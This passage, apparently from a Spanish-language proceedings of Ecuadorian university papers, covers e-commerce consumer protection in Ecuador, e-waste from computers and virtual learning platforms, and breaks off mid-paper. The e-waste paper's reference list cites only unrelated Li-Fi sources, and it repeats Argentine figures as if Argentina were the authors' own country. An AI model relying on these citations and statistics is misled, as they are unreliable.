As technology advances, all options or tasks linked to it undergo significant changes, which greatly benefit the human resource; to use them as a service or receive a final product. This is how the automation of most financial processes originates. The objective of this research is to analyze how protected the consumer is with respect to the new electronic trends in commerce. Electronic commerce generates a facility for consumers to buy products from their homes and at any time of day. In the most developed countries, the purchase and sale of products through the Internet is very common and increasingly larger despite the global trend is towards an increase in electronic commerce, so Ecuador must adapt to these new trends, with the In order to increase an improvement in the level of life of citizens and thus gain confidence in the market. Within the methodology, the historical-logical method was used in the search of the background of the research object. In the results, it was possible to achieve the objectives outlined in this research. Concluding that the technologies of the commerce follow their inexorable advance within the fruitful field of income, eliminating intermediaries and allowing access to the market of potential millions of clients.

KEYWORDS: changes, purchase, commerce, service, technology.

1. INTRODUCCIÓN

La tecnología es una herramienta primordial en la actualidad, dando pie a la automatización de procesos ya sea simples o complejos, de una manera significativa que dicho sea de paso dinamiza tiempo y el ahorro de mano de obra desde el punto de vista empresarial. Aun cuando esto genera desocupación convirtiéndose en lo conocido como la revolución industrial. El mundo de la era electrónica hablando en términos generales, es un mar de conocimiento que tiene mucho por explorar, descubrir y desarrollar. Uno de estos grandes pasos o logros en la fusión tecnología/vida es el comercio electrónico. Los orígenes del Comercio se remontan a finales del Neolítico, cuando fue descubierta la agricultura como actividad económica, donde se produjo un intercambio local de bienes y alimentos. Se define el Comercio como una actividad económica consistente en el intercambio de mercancías. Negociación que se hace comprando y vendiendo productos. (Lima, Mero, Ortiz, Gutiérrez, Quimis, Padilla, Bernal, 2018.)

En la época contemporánea, se destaca el Comercio como una actividad económica fundamental que ha alcanzado un desarrollo vertiginoso por la importancia en los ingresos de un país en el PIB (Producto Interno Bruto). Se deben diseñar estrategias y proyectos para darle

publicidad a los productos, incentivar a los clientes a que compren todo lo necesario, para elevar las ventas y obtener mayores ganancias. (Lima et al).

Por lo cual uno de los puntos a desarrollarse dentro del presente trabajo, es la facilidad y ventajas que trae la utilización del comercio electrónico. En este contexto, sobre la base del desarrollo tecnológico surge la utilización del comercio electrónico como forma de interacción en la planificación estratégica empresarial, una propuesta pertinente para concebir la relación de intercambio, que como técnica es la instrumentación de la aplicación práctica de esta filosofía de acción moderna. en el desarrollo de una microempresa, así como las debidas precauciones a tomar para su uso de manera legal.

2. DESARROLLO

El presente trabajo pretende destacar la importancia del comercio electrónico, las formas de realizar las transacciones por este medio, sus aspectos legales, los sistemas de seguridad y cómo la logística utiliza en el comercio para mejorar la gestión de comercialización de las organizaciones.

La idea de este artículo surge por la necesidad de realizar una evaluación y análisis del impacto del comercio electrónico a través el Internet en el mismo desarrollo de la logística en las organizaciones. El documento está estructurado con la presentación breve de sus antecedentes (comercio electrónico e Internet), luego, se abordan los medios de pago por medio de este sistema, los aspectos legales que afectan. Por otra parte, los autores han explorado distintas fuentes secundarias, cuya bibliografía se relaciona al final y han establecido a través de un lenguaje sencillo y fácil de comprender, el comercio electrónico y la logística. finalmente relacionan algunas conclusiones que sirven de reflexión acerca de las tendencias de estas tecnologías y cómo éstos pueden incidir en la productividad y competitividad de las empresas. Riveros, D. & Silva, P. (2007).

El comercio electrónico dentro de sus premisas permite realizar ventas por internet, igual que cualquier modelo de negocio, es necesario establecer un plan estratégico que permita su aplicación en las pequeñas y medianas empresas (PYMES).

El comercio electrónico tiene muchas ventajas tanto para los consumidores como para las empresas las cuales serán analizadas en este trabajo de investigación. Sin embargo, también existen varias desventajas y varias limitaciones para el comercio electrónico. El comercio electrónico ha ido ganando importancia con el paso del tiempo y con los avances en la tecnología.

Siendo muy relevante la implementación del comercio electrónico en los diferentes países a nivel mundial. Mismos que con los avances tecnológicos es cada vez más fácil que el comercio electrónico sea posible entre empresas y sus clientes. El comercio electrónico genera una facilidad para que los consumidores puedan comprar productos desde sus hogares y a cualquier hora del día.

En los países más desarrollados la compra y venta de productos a través del internet es muy común y cada vez de mayor volumen. En un país como el Ecuador existen muchas limitaciones y factores los cuales hacen que el comercio electrónico no tenga la misma acogida que en otros países más desarrollados.

No obstante, la tendencia mundial es hacia un incremento en el comercio electrónico y por eso el Ecuador debe adaptarse a estas nuevas tendencias. Existe un gran potencial de crecimiento y de ganancias gracias al comercio electrónico tanto en Ecuador como en toda Latinoamérica debido a su crecimiento y evolución en los últimos años.

Una de las causas por las cuales las personas no compran en línea es porque tienen muchas dudas y sienten que pueden ser víctimas de una estafa. Debido a que para realizar compras de productos por el internet es necesario introducir información como el número y código de seguridad de la tarjeta de crédito a las personas les genera dudas. Esto se debe a que en Ecuador ese tipo de información es muy personal y a las personas no les gusta proveer dicha información por internet.

Otro de los enfoques que se van a utilizar para analizar el problema es el enfoque cultural. La cultura se relaciona mucho con el comercio desde tiempos remotos y el comercio electrónico no puede ser la excepción en países como el Ecuador. Es por eso que el tema cultural va a ser una parte muy importante del análisis. También se utilizará un enfoque técnico en el cual se analizarán las ventajas y desventajas de la compra y venta de productos a través del internet. Es decir, un análisis de teoría y datos investigados los cuales luego serán relacionados con el Ecuador. (Pachano, J. 2013).

Es preciso tener en cuenta que la implementación de nuevos mecanismos para asegurar las prácticas comerciales internas y externas del país, han traído como resultado la configuración de aspectos o características negativas para la integridad de los derechos relativos a consumidores que emplean el comercio electrónico con la finalidad de llevar a cabo sus transacciones de carácter mercantil, en cuyo caso, vale decir que a nivel mundial se evidencia un mayor incremento o demanda en el mercado por la utilización del comercio electrónico para

realizar compras de bienes y servicios, lo cual trae como consecuencia un nuevo estilo de vida para la sociedad en general.

En los últimos años se ha incrementado significativamente en el Ecuador la utilización del comercio electrónico como herramienta de trabajo, contratación de servicio o simplemente como necesidad de adquirir algún producto. En el país esto se ha constituido en un tema nuevo y novedoso que las personas han ido descubriendo y utilizando para realizar compras de bienes y servicios mediante la red, beneficiándose de las ventajas que brinda este servicio del comercio electrónico.

Sin embargo, como ya fue manifestado con anterioridad, el paso hacia este comercio digital puede traer como consecuencias un sin número de desventajas en diversos aspectos, como en lo económico, en lo social y efectivamente en lo jurídico, entre otros. Una de las desventajas que puede aparecer en el comercio digital es la desprotección al usuario consumidor, por las transacciones realizadas mediante herramientas informáticas para efectivizar dicha compra o contratación.

En este tipo de transacciones pueden existir muchos engaños o estafas mediante falsos distribuidores o vendedores que ofrecen sus productos mediante publicidad engañosa en la red y así aprovecharse de la ingenuidad de los usuarios que caen en su trampa. Algunos de los problemas principales que tienen los usuarios en este tipo de mercado digital, es la desconfianza de los contratos sin papel, dudas sobre la legalidad de las transacciones realizadas y sobre la veracidad de la entrega del producto, y el desconocimiento de las normas jurídicas a la protección de los derechos del consumidor.

Ha existido poca preocupación por parte de autoridades en la problemática que se vive hoy por hoy. La falta de protección o garantías jurídicas al consumidor ha sido muy notoria en estos últimos años, es así que se debe analizar la efectividad de las leyes y demás normativa ecuatoriana, relacionada con el comercio electrónico; y, así demostrar si en realidad se protege a los usuarios de las transacciones realizadas mediante la red.

El objetivo de esta investigación es analizar cuan protegido está el consumidor con respecto a las nuevas tendencias electrónicas del comercio, con el fin de incrementar un mejoramiento en el nivel de vida de los ciudadanos y así obtener confianza en dicho mercado con la implementación de normas legales que amparen adecuadamente los bienes jurídicos de los consumidores y la sociedad ecuatoriana en general.

Dentro del modelo de negocio que regenta el comercio electrónico realizado tenemos.

El primero, es decir, el tipo de comercio electrónico según los participantes puede ser dividido en tres categorías que se detallan a continuación:

Entre empresas. - Este tipo de comercio electrónico hace referencia a la compra y venta de productos o servicios que pueden prestarse entre empresas o personas jurídicas particulares en general, tal es el caso de la gestión por medio del internet para la adquisición de procesos de aprovisionamiento de materiales, permitiendo en este caso una negociación más ágil entre las empresas y sus respectivos proveedores.

Entre empresa y consumidor. - En cuanto a esta categoría de comercio electrónico, se lo considera como el proceso o transacción electrónica que se da entre la empresa o tienda virtual y el consumidor final, así, por ejemplo, existen sitios como Amazon.com o mercadolibre.com en donde es posible adquirir discos, computadores, entre otras.

Entre consumidores. - Un ejemplo claro de la compra entre usuarios o consumidores finales a la cual hace referencia esta categoría de comercio electrónico, es la existencia u operatividad de sitios web especializados en la subasta de artículos de segunda mano o antigüedades, en cuyo caso el público mediante el acceso a internet es capaz de adquirir los mismos de manera directa a otro particular.

Entre ciudadano y administración.- Por otra parte, en cuanto se refiere al segundo tipo de comercio electrónico que basa su naturaleza en el modelo de negocio que se aplique, se hace referencia a lo planteado en doctrina según lo cual, “los modelos de negocio en internet han sido, desde la aparición de la web y el comercio electrónico, uno de los aspectos más analizados y discutidos por los analistas investigadores, en la literatura se pueden encontrar diversas clasificaciones de estos modelos de negocio, el análisis de los modelos que se detallan en esta sección está basada en la clasificación realizada por (Rappa,2002).

Para los efectos prácticos de la categorización que se expone en cuanto a esta forma de comercio electrónico, vale decir que la principal clasificación es:

- Tienda virtual.
- Tienda clásica con servicio online.
- Tienda de productos digitales.
- Venta por catálogo.

Internet ofrece un nuevo mercado que define la "economía digital" en la que productores - proveedores de bienes y servicios y consumidores logran una interacción inmediata reduciendo considerablemente costos de producción logrando trascender barreras geográficas, distancias horario. Idiomas y razas, para brindar un servicio activo las 24 horas del día los 365 días del año. Es importante destacar que dentro de este proceso de tecnología comercial los proveedores o proveedor extienden una factura que evidencia la relación comercial. Este trabajo trata del comercio electrónico y el tratamiento que de él hacen los organismos internacionales competentes. En primer lugar, se definen los actos jurídicos electrónicos y, en consecuencia, el comercio electrónico, se exponen sus modalidades, las ventajas e inconvenientes de esta nueva forma de hacer negocios a través de Internet principalmente, y por último se explican los proyectos y alternativas reguladoras de algunos organismos internacionales.

El comercio Electrónico se está transformando en un mecanismo cada vez más viable para el crecimiento productivo de los países, y el internet, además de ser un canal de comunicación muy eficaz, también se está transformando en un mercado alternativo para productos y servicios en el mundo entero.

3. MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo en el presente trabajo científico fueron:

- Diversas fuentes bibliográficas
- Investigación

Métodos teóricos

- Análisis – síntesis

Donde, se describirán las invenciones tecnológicas más destacadas a través del tiempo en el ámbito económico y que persisten en la actualidad por la renovación de las mismas con la continua innovación a la que se enfrenta el mundo, en ellas se describirá desde el momento de su invención hasta los cambios que se proporcionaron con los adelantos tecnológicos.

Método histórico-lógico, en la búsqueda de los antecedentes del objeto de investigación.

4. CONCLUSIONES

En Ecuador se deben abrir centros de difusión sobre la importancia que conlleva el uso del comercio electrónico y las facilidades que ofrece a los emprendedores de nuestra generación.

Impartir dentro de la universidad referencias acerca del uso del comercio electrónico, las precauciones que se deben tener, así como varios de los estándares legales a seguir para el correcto uso del mismo.

Capacitar a pequeños y medianos comerciantes demostrándole las ventajas y desventajas que implica el uso del comercio electrónico, dándoles más opciones para ejercer y publicitar de manera más rápida sus productos y/o servicios.

REFERENCIAS BIBLIOGRÁFICAS

Camacho, D.(2012). *Análisis del derecho del consumidor en relación al uso del comercio electrónico en el Ecuador* (Bachelor's thesis, QUITO/UIDE/2012).

Carrillo, L. (2008). *El comercio electrónico en el Ecuador* (Bachelor's thesis).

(Lima et al, 2018.). *Tecnologías del Comercio* (Consejo Editorial: Universidad Laica Eloy Alfaro de Manabí)

Merlo, P. (2006). La factura electrónica en el Ecuador. *Foro Revista de Derecho*, (5), 241-267.

Montalvo, V & Vladimir, M. (2007). El derecho del consumidor frente al comercio electrónico en el Ecuador (Master's thesis, Universidad Andina Simón Bolívar, Sede Ecuador).

Pachano, J. (2013). Comercio electrónico en el Ecuador: análisis de ventajas y desventajas de la compra y venta de productos a través del internet (Bachelor's thesis, Quito: USFQ, 2013).

Puetate, P. & Carmen, G. (2014). El Comercio Electrónico y las PYMEs en la ciudad de Tulcán (Bachelor's thesis).

Riveros, D. & Silva, P. (2007). EL COMERCIO ELECTRÓNICO Y LA LOGÍSTICA EN EL CONTEXTO LATINOAMERICANO. *Scientia et technica*, 3(35), 269-274.

Biografía de autor

Lima Pisco Robards Javier. Magister por la Universidad Estatal de Guayaquil. Actualmente Docente Universidad Estatal del Sur de Manabí.

Mero Suarez Karina. Magister actualmente Docente Universidad Estatal del Sur de Manabí

Merchan Nieto Laura. Magister actualmente Docente Universidad Estatal del Sur de Manabí

QUIMIS SÁNCHEZ OMAR Magister actualmente Docente Universidad Estatal del Sur de Manabí

RESIDUOS ELECTRÓNICOS DE UN COMPUTADOR QUE AFECTAN AL MEDIO AMBIENTE

Gonzabay Ponce Robinson Joel,
Ing. Jimmy Leonardo Gutiérrez García. Mg.

Córdova Parrales Jean Steven,

Intriago Conforme Wellington Arturo

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

gonzabayponce99@gmail.com

RESUMEN

Cuando hablamos de residuos electrónicos se reflexiona sobre la afectación que provocan las computadoras en el medio ambiente una vez que son retiradas del servicio, así como de las políticas económicas contemporáneas, el reciclaje de aparatos eléctricos y electrónicos y sus efectos nocivos para la salud humana y el medio ambiente, contribuyendo a potenciar la cultura medioambiental.

PALABRAS CLAVE: computadora, medio ambiente, cultura medioambiental, reciclaje electrónico, obsolescencia.

ABSTRACT

When we talk about electronic waste, we reflect on the effects caused by computers in the environment once they are removed from service, as well as contemporary economic policies, the recycling of electrical and electronic devices and their harmful effects on human health and the environment, contributing to enhance the environmental culture.

KEYWORDS: computer, environment, environmental culture, electronic recycling, obsolescence.

1. INTRODUCCIÓN

En la actualidad, El gran crecimiento en la producción de aparatos electrónicos a aumentado considerablemente, causando así mismo el incremento de los residuos electrónicos que contaminan el medio ambiente, gracias a la innovación tecnológica y la globalización del mercado, acelera su sustitución y por lo tanto su desecho, lo que produce diariamente toneladas de basura electrónica.

La era tecnológica ha brindado maravillas que sólo se encontraban en sueños, pero todas estas ventajas también tienen sus efectos negativos y uno de ellos es el desperdicio electrónico. El recambio electrónico es tan rápido y frecuente, que una enorme cantidad de dispositivos se vuelven obsoletos en tiempo récord, y terminan su existencia en un basurero. Lamentablemente, en la mayoría de los países la basura electrónica es tratada de la misma manera que la basura convencional, y termina siendo arrojada en lugares inadecuados para ello. Alguien puede pensar que una placa expuesta al ambiente no es del todo perjudicial, pero nada está más lejos de la verdad. En componentes electrónicos descartados es posible encontrar elementos peligrosos, colocar este tipo de residuos en la basura, o dejarlos en manos de cartoneros, es poner en riesgo la salud de las personas y del ambiente, debido a que contienen componentes peligrosos.

Mientras el celular, el monitor y el televisor están en su casa no generan riesgos de contaminación, pero cuando se mezclan con el resto de la basura y se rompen, esos metales tóxicos se desprenden y pueden resultar mortales.

Una gran parte de las personas no han tomado conciencia sobre lo que está sucediendo en el mundo. Este trabajo va encaminado precisamente a ayudar y concientizar a las personas sobre ¿qué estamos haciendo con todos aquellos aparatos electrónicos que ya no nos sirven o ya no utilizamos? Las respuestas a esta pregunta serían sorprendentes porque lamentablemente no ha existido información ni mucho menos preocupación por hacer algo para disminuir este tipo de contaminación.

2. DESARROLLO

¿Qué son desechos computacionales?

La basura computacional es un concepto que surge a raíz de los desperdicios y desechos de la industria de la computación, y se refiere a cualquier computadora, accesorio, dispositivo periférico o consumible que se encuentra almacenado o en desuso, en la basura o en algún relleno sanitario.

Ejemplos de Basura Computacional:

- Monitor
- Teclado
- Mouse

- Tarjeta Madre
- Impresora
- Disco Compacto

Otro concepto manejado es el siguiente la chatarra electrónica o desechos electrónicos o basura tecnológica (en inglés: e-waste o WEEE) corresponde a todos aquellos productos eléctricos o electrónicos que han sido desechados o descartados, tales como: computadoras, teléfonos celulares, televisores y electrodomésticos. La chatarra electrónica se caracteriza por su rápido crecimiento debido a la rápida obsolescencia que están adquiriendo los dispositivos electrónicos y por la mayor demanda de estos en todo el mundo, entre otros factores. Su tratamiento inadecuado puede ocasionar graves impactos al medio ambiente y poner en riesgo la salud humana. (ROKERITOS, s.f.).

Historia de los residuos del computador

La evolución de las TIC (Tecnologías de la Información y las Comunicaciones) en el último medio siglo podría sintetizarse diciendo simplemente que han pasado de ser tecnologías caras, complejas y orientadas a las grandes organizaciones, a intentar ser tecnologías baratas, sencillas y fácilmente utilizables por las personas en su vida cotidiana. Esto significa que, en términos económicos y sociales, han pasado a ser (y lo serán creciente y rápidamente) tecnologías utilizables por miles de millones de personas M2. Según la consultora de mercado, el crecimiento en la región latinoamericana en el marco de las TIC- superará el crecimiento en las economías desarrolladas impulsado por el mercado de consumo, las empresas en crecimiento y un mayor interés de los gobiernos por promover las tecnologías de la información. El mercado de PC en América Latina, por ejemplo, crecerá 2,6 veces más rápido que en los países desarrollados (EE.UU., Canadá, Europa Occidental, Japón). Por ejemplo, hoy el continente representa el mercado de mayor crecimiento para la empresa Microsoft, incluso por encima del de China, Medio Oriente y África, que ocupan el segundo y tercer lugar de manera respectiva, según el presidente para Latinoamérica de la compañía, Hernán Rincón. Argentina es uno de los países líderes en la región en cuanto a la evolución de las TIC, según lo señalado por el Índice de Desarrollo de Tecnologías de Información y Comunicación, elaborado por la Unión Internacional de Telecomunicaciones (UIT), de Naciones Unidas. En América, nuestro país se ubica cuarto por debajo de Estados Unidos, Canadá y San Vicente y Granadinas y ocupa el puesto 49 sobre un total de 159 países analizados (seis puestos más alto del que ocupaba en 2002). En el país el boom de los electrónicos se produjo luego de la crisis

económica de 2001-2002: la venta de PC fue la primera fracción de productos electrónicos que más creció, aunque luego, en 2004, fue superada por la venta de los teléfonos celulares. (Castillo, 2018)

Los desechos de computadoras y el medio ambiente

Los expertos estiman que alrededor de 1 billón de computadoras serán desechadas para el año 2012. Mientras la tecnología avanza y los precios bajan, muchas personas piensan que las computadoras son artículos desechables. Pero, el desechar unidades de sistema viejos (chasis), monitores y otros componentes de la computadora es un grave problema. Las computadoras contienen varios elementos tóxicos, incluyendo plomo, mercurio y bario. Las computadoras arrojadas a vertederos o quemadas en incineradores pueden contaminar el suelo y el aire. Una solución sería el reciclaje de computadoras viejas. La organización “**Computers for Schools**” actualiza computadoras donadas y las vende a escuelas y estudiantes a precios bien bajos y los donantes reciben alivios contributivos. Algunos legisladores norteamericanos prefieren una estrategia más agresiva, como el implantar un programa de reciclaje que se costee con una tarifa de \$10 incluido en el precio de una computadora nueva o responsabilizar a los fabricantes de computadoras por el acopio y reciclaje de sus productos. Algunos fabricantes han dado algunos pasos positivos. Algunos han reducido la cantidad de material tóxico en sus productos, y otros han implantado sus propios programas de reciclaje, por los cuales los usuarios pagan una tarifa. Un fabricante admite, sin embargo, que sólo el 7% de las computadoras vendidas se han reciclado. (soriano, s.f.)

Formas de reciclaje

La cadena de reciclaje está dividida en tres partes o en tres etapas:

Etapas 1: Recolección de residuos: Las operaciones de reciclaje de residuos comienzan con la recogida de los residuos. Los residuos no reciclables son incinerados o enterrados en vertederos. Los residuos recogidos para el reciclaje se preparan para su posterior transformación. La recolección se organiza con ese fin.

Como resultado de la recolección, los residuos, ordenados o no, son enviados a un centro de clasificación en el que, mediante diferentes operaciones, son ordenados para optimizar su procesamiento. Una de esas operaciones es la manual.

Etapa 2: Transformación: Una vez clasificados, los residuos pasan a las usinas que serán las encargadas de su transformación. Están integrados en la cadena de procesamiento que les es específica. Entran en la cadena en forma de residuos y salen en forma de material listo para usar.

Etapa 3: Comercialización y consumo: Una vez transformados, los productos acabados del reciclado se usan para la fabricación de productos nuevos que, a su vez, serán ofrecidos a los consumidores y consumidos. Para ser arrojados, recuperados y reciclados nuevamente. (soriano, s.f.)

Residuos eléctricos

Desde hace varias décadas los equipos eléctricos y electrónicos han revolucionado la vida de las personas, este tipo de aparatos se encuentran presentes en prácticamente todos los hogares, oficinas, hospitales, transporte, sistemas y redes de comunicación; sin embargo, la tecnología de rápida innovación y de cortos periodos de vida, han provocado que año con año se presente una creciente cantidad de basura electrónica, lo cual representa un gran desafío para la gestión de este tipo de residuos a nivel mundial.

Los aparatos eléctricos y electrónicos se pueden agrupar en las siguientes categorías generales:

1. Electrodomésticos
2. Equipos de informática y telecomunicaciones
3. Aparatos electrónicos
4. Aparatos de alumbrado
5. Herramientas eléctricas o electrónicas
6. Juguetes o equipos deportivos y de tiempo libre
7. Aparatos médicos (Frigoríficos, congeladores, estufas, etc.)

Los equipos eléctricos y electrónicos están compuestos de cientos de materiales diferentes, tanto valiosos como potencialmente peligrosos, por ejemplo: oro, plata, paladio y cobre son algunos de los materiales valiosos que pueden recuperarse; por otra parte, plomo, cadmio, mercurio y arsénico son componentes peligrosos que pueden estar presentes en este tipo de equipos, lo cual depende del tipo de tecnología que sea utilizada para su fabricación, el país de origen y el fabricante. Cuando este tipo de compuestos, son liberados durante el proceso de desensamble de los equipos, pueden causar afectaciones al ambiente y la salud humana.

Ventajas

- ✓ Obviamente está la ventaja de que toda la logística pone en movimiento recursos y abre oportunidades para contratación y preparación de personal, articulación institucional y comunitaria.
- ✓ Se resuelve el problema de la basura generada por computadores a punto de ser desechados. (informatico, s.f.)

Desventajas

- ✓ La Logística es enorme, compleja y costosa.
- ✓ Se requiere de almacenes inventariados y controlados para los equipos que reciben y salen, las piezas que se rehúsan se descartan y que hacen falta.
- ✓ Se requiere de personal técnico calificado para armar, desarmar, probar y configurar las computadoras.
- ✓ Se requiere de personal y toda una estructura administrativa para supervisar y coordinar la operación.
- ✓ Los computadores reciclados tienen un rendimiento menor que el de los nuevos (más lentos y menos capacidades).
- ✓ Los computadores reciclados, por usar piezas reusadas, se dañan con mayor frecuencia, en particular monitores (pantallas) y discos duros, pero igualmente teclados, ratones, etc. (informatico, s.f.)

3. MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo en este artículo científico fueron:

- ✓ Diversas fuentes bibliográficas
- ✓ Investigación
- ✓ Conjunto descentralizado de redes de comunicación interconectadas.

MÉTODOS TEÓRICOS

- ✓ Análisis – síntesis

4. RESULTADOS Y DISCUSIÓN

Con esta investigación se logró hacer entender a la sociedad que los residuos electrónicos de un computador si afectan al medio ambiente, por lo general la sociedad tiene el criterio que una vez que el computador cumple su ciclo en lo primero que se piensa es en desecharlo de una manera no adecuada, no tomando en cuenta que existen maneras de reciclar los aparatos electrónicos.

Con el análisis de esta investigación encontramos que existen fábricas de reciclaje de computadoras que se encargan de usar los componentes de un ordenador como lo hace La organización “Computers for Schools” actualiza computadoras donadas y las vende a escuelas y estudiantes a precios bien bajos y los donantes reciben alivios contributivos.

5. CONCLUSIONES

Después de estudiar e investigar sobre la basura electrónica se llega a la conclusión de que es un problema a nivel mundial, los aparatos electrónicos que se desechan tienen numerosos materiales perjudiciales para la salud humana y animal. Son pocos países que tienen planteadas políticas de manejo de este tipo de residuos, tanto la población como las empresas fabricantes de estos productos deben seguir el compromiso ambiental de las mayores productoras de celulares y computadoras del mundo en disminución de sustancias tóxicas y reciclaje, puesto que éste ahorra recursos al evitar la extracción de metales nuevos.

REFERENCIAS BIBLIOGRÁFICAS

Anonimo. (11 de Marzo de 2017). ecured. Obtenido de ecured: <https://www.ecured.cu/Li-Fi>

Castillo. (2 de Septiembre de 2018). LI-FI LA NUEVA TECNOLOGÍA. Obtenido de LI-FI LA NUEVA TECNOLOGÍA: <http://innovacionli-fi.blogspot.com/p/historia-del-lifi.html>

Naranjo, Y. (14 de Junio de 2016). Li-Fi. Obtenido de Li-Fi: <http://ymnf.blogspot.com/2016/06/diferencias-entre-lifi-y-wifi.html>

Porto. (25 de Agosto de 2015). Ventajas y desventajas . Obtenido de Ventajas y desventajas : <http://www.radiomundial.com.ve/article/ventajas-y-desventajas-de-la-nueva-la-conexi%C3%B3n-inal%C3%A1mbrica-internet-li-fi-video>

Vicuña, V. (6 de Abril de 2015). Tecnología Li-Fi (Light Fidelity). Obtenido de Tecnología Li-Fi (Light Fidelity): <https://www.monografias.com/trabajos-pdf5/tecnologia-li-fi-light-fidelity/tecnologia-li-fi-light-fidelity.shtml>

BIOGRAFÍAS DEL AUTOR

Gonzabay Ponce Robinson Joel, estudiante en formación de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa – Manabí - Ecuador; graduado de Bachiller de servicios aplicaciones informáticas en la Unidad Educativa Fiscal Eloy Velázquez Cevallos la América – Manabí - Ecuador.

Jimmy Leonardo Gutiérrez García, ingeniero en Computación y Redes Mg. Gerencia Educativa; docente de la carrera de Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa – Manabí – Ecuador.

Córdova Parrales Jean Steven, estudiante en formación de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa – Manabí - Ecuador; graduado de Bachiller en Comercialización y Ventas en la Unidad Educativa Fiscal Manuel Inocencio Parales y Guale del Cantón Jipijapa – Manabí - Ecuador.

Intriago Conforme Wellington Arturo, estudiante en formación de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa – Manabí - Ecuador; graduado de Bachiller en la especialidad de Mecánica Automotriz en el Unidad Educativa Fiscal Manuel Inocencio Parales y Guale del Cantón Jipijapa – Manabí - Ecuador.

EL USO DE PLATAFORMAS VIRTUALES Y SU IMPACTO EN EL PROCESO DE APRENDIZAJE EN LA UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Liseth Yamileth Barreto Pin.

Alexandra Gissela Barreto Tóala.

Julissa Daniela Cedeño Álava

Mariela Trinidad Morán Acebo.

María Vanessa Quimis Sornoza.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

lis.pin23061997@gmail.com

RESUMEN

El trabajo de investigación hace énfasis al uso de plataformas virtuales, siendo estas un sistema que permite la realización de diversas tareas bajo un mismo entorno, brindándole a docentes y estudiantes la posibilidad de interactuar con ella a través de la Web. El objetivo primordial de esta investigación es proporcionar información, acerca de las plataformas virtuales, a su vez, se pretende concientizar las falencias que puedan presentarse en el proceso de aprendizaje. Cabe recalcar que estas plataformas permiten la creación y gestión de cursos completos para la Web. En cuanto al desarrollo de este trabajo de investigación se manifestará la interacción que existe entre los estudiantes y docentes mediante diferentes vías de comunicación siendo estos: foros y video chat, para ello se abordaron los diferentes métodos de la investigación científica tales como: análisis – síntesis que contribuyeron a profundizar esta investigación. Por consiguiente, se dará a conocer la manera adecuada de utilizar la plataforma Classroom la cual está diseñada para apoyar actividades educativas presenciales. El análisis de los datos demostró que esta investigación ha sido de gran interés para la corporación de docentes y estudiantes de la Universidad Estatal de Sur de Manabí, además dentro de la investigación se revelará con exactitud cuáles podrían ser los inconvenientes o falencias a presentarse. Definiendo así, que las plataformas virtuales son programas informáticos configurados por el docente, en función a las necesidades de la formación del estudiante, para establecer un intercambio de información, tanto de manera síncrona como asíncrona.

PALABRAS CLAVE: Interactuar; classroom; programas informáticos.

ABSTRACT

The research work emphasizes the use of virtual platforms, these being a system that allows the accomplishment of diverse tasks under the same environment, giving teachers and students the possibility of interacting with it through the Web. The main objective of this research is to provide information about virtual platforms, in turn, it aims to raise awareness of the flaws that may arise in the learning process. It should be noted that these platforms allow the creation and management of complete courses for the Web. Regarding the development of this research work, the interaction between students and teachers will be manifested through different means of communication, such as forums and video chat, for which the different methods of scientific research were addressed, such as: analysis - synthesis that contributed to deepen this investigation. Therefore, the proper way to use the Classroom platform, which is designed to support face-to-face educational activities, will be announced. The analysis of the data showed that this research has been of great interest to the corporation of teachers and students of the State University of South Manabí, also within the research will reveal exactly what could be the disadvantages or shortcomings to be presented. Defining thus, that virtual platforms are computer programs configured by the teacher, according to the needs of the student's training, to establish an exchange of information, both synchronously and asynchronously.

KEYWORDS: Interact, classroom, computer programs.

1. INTRODUCCIÓN

Las plataformas virtuales son un medio por el cual, tanto docentes como estudiantes tienen la facilidad de interactuar a distancia, permitiendo así mejorar el proceso enseñanza-aprendizaje del estudiante, estas plataformas hoy en día se han transformado en una herramienta pujante capaz de desarrollar un sinnúmero de actividades educativas, considerándose una de las principales estrategias para trabajar en línea. Teniendo como objetivo primordial dar a conocer las características principales sobre esta nueva tecnología, así mismo, informar sobre las diferentes herramientas de gestión, comunicación, evaluación, administración e hipertexto, que debe contar la plataforma virtual, en caso de que al software educativo le faltase una de ellas, no se podría considerar como plataforma tecnológica.

En América Latina existen diferentes Sistemas de Gestión de Aprendizaje (LMS), ya que son plataformas que admiten realizar diversos programas y brindan soluciones de adiestramiento digital. WORMHOLEIT es un sistema LMS muy poderoso, cuenta con varias sucursales en Argentina, Estados Unidos, Brasil y Colombia. Este es uno de los softwares más utilizados a nivel mundial por las organizaciones como la Universidad de Austral y de San Andrés, las

mismas que son utilizadas para generar salones de clase en vivo, y así poder generar nuevas áreas de educación. Por consiguiente, en Ecuador se ha implementado esta nueva tecnología, en la Universidad Central del Ecuador (UCE), siendo Moodle un software muy eficiente para mejorar el proceso de enseñanza- aprendizaje, brindándole la oportunidad al estudiante de acudir a tutorías presenciales desde casa, antes de rendir un examen final. Básicamente en esta Universidad se puede optar por las carreras de Comunicación, Educación Básica y Educación Inicial.

Entre sus principales ventajas tenemos: el fomento de la formación profesor-alumno, facilidades para el acceso a la información, fomento del debate y la discusión, desarrollo de habilidades y competencias, el componente lúdico que no es más que el uso de tecnologías como la mensajería instantánea, videos entre otros, y entre sus desventajas se enfoca el incremento del tiempo y esfuerzo que el docente dedica a sus determinadas asignaturas y el uso de las herramientas virtuales por parte de los alumnos.

El impacto de esta investigación en cuanto al ámbito tecnológico es que la Universidad Estatal del Sur de Manabí implemente este tipo de mecanismo, para garantizar en un futuro próximo una educación de calidad y calidez alcanzada un nivel de aprendizaje muy favorable.

2. MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo en este artículo científico fueron:

- Diversas fuentes bibliográficas
- Investigación

Métodos teóricos

- Análisis – síntesis

Las plataformas virtuales son herramientas informáticas que permite la interacción entre docentes y estudiantes, basadas en páginas web para la organización e implementación de cursos en línea.

Estas plataformas deben contener funcionalidades básicas en las áreas de contenidos, comunicaciones, evaluación y auto seguimiento, calificaciones e informes.

Según Canabal Peraza: “Las plataformas virtuales se refieren a la tecnología utilizada para la creación y desarrollo de cursos o módulos didácticos en la Web, que se usan de manera más amplia y mejora el proceso enseñanza-aprendizaje”. (2014)

